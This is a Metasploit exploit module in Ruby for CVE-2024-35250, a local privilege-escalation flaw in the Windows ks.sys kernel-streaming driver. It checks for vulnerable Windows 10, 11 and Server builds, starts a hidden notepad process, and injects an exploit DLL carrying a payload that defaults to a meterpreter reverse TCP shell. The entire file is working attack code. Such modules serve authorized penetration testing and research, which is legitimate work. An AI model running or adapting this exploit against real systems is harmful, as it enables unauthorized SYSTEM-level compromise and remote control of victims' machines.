##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Version
  prepend Msf::Exploit::Remote::AutoCheck

  class VulnerableDriverNotPresent < StandardError; end
  class TargetNot64BitWindows < StandardError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Access Mode Mismatch LPE in ks.sys',
        'Description' => %q{
          The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default.
          There exists a LPE in this driver which can be exploited on many recent versions of Windows 10,
          Windows 11, Windows Server 2022.
        },
        'Author' => [
          'AngelBoy', # discovery
          'varwara',    # PoC
          'jheysel-r7'  # module
        ],
        'References' => [
          [ 'URL', 'https://github.com/varwara/CVE-2024-35250'],
          [ 'URL', 'https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/'],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html'],
          [ 'CVE', '2024-35250']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Privileged' => true,
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-06-11',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
  end

  def target_compatible?(version)
    raise TargetNot64BitWindows, 'Non 64-bit Windows systems are not affected' unless session.platform == 'windows' && sysinfo['Architecture'] == ARCH_X64

    file_path = get_env('WINDIR') + '\\system32\\drivers\\ks.sys'
    raise VulnerableDriverNotPresent, 'The target system does not have ks.sys in system32\\drivers\\' unless file?(file_path)

    vprint_status("Windows Build Number = #{version.build_number}")

    return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_22H2)
    return true if version.build_number == Msf::WindowsVersion::Win11_21H2 || version.build_number == Msf::WindowsVersion::Win11_22H2
    return true if version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2022)

    false
  end

  def check
    version = get_version_info
    begin
      return Exploit::CheckCode::Appears("ks.sys is present, Windows Version detected: #{version}") if target_compatible?(version)
    rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e
      return Exploit::CheckCode::Safe("#{e.class}: #{e.message}")
    end

    CheckCode::Safe("Version detected: #{version}")
  end

  def exploit
    fail_with(Failure::None, 'Session is already elevated') if is_system?

    if datastore['ForceExploit'] || !datastore['AutoCheck']
      begin
        version = get_version_info
        fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}") unless target_compatible?(version)
        print_good("ks.sys is present, Windows Version detected: #{version}")
      rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e
        fail_with(Failure::NoTarget, "#{e.class}: #{e.message}")
      end
    end

    print_status('Launching notepad to host the exploit...')
    notepad_path = get_notepad_pathname(ARCH_X64, client.sys.config.getenv('windir'), ARCH_X64)

    print_status("The notepad path is: #{notepad_path}")
    notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
    print_status("The notepad pid is: #{notepad_process.pid}")
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-35250', 'CVE-2024-35250.x64.dll'),
      [encoded_payload.length].pack('I<') + encoded_payload,
      notepad_process.pid
    )
  end
end
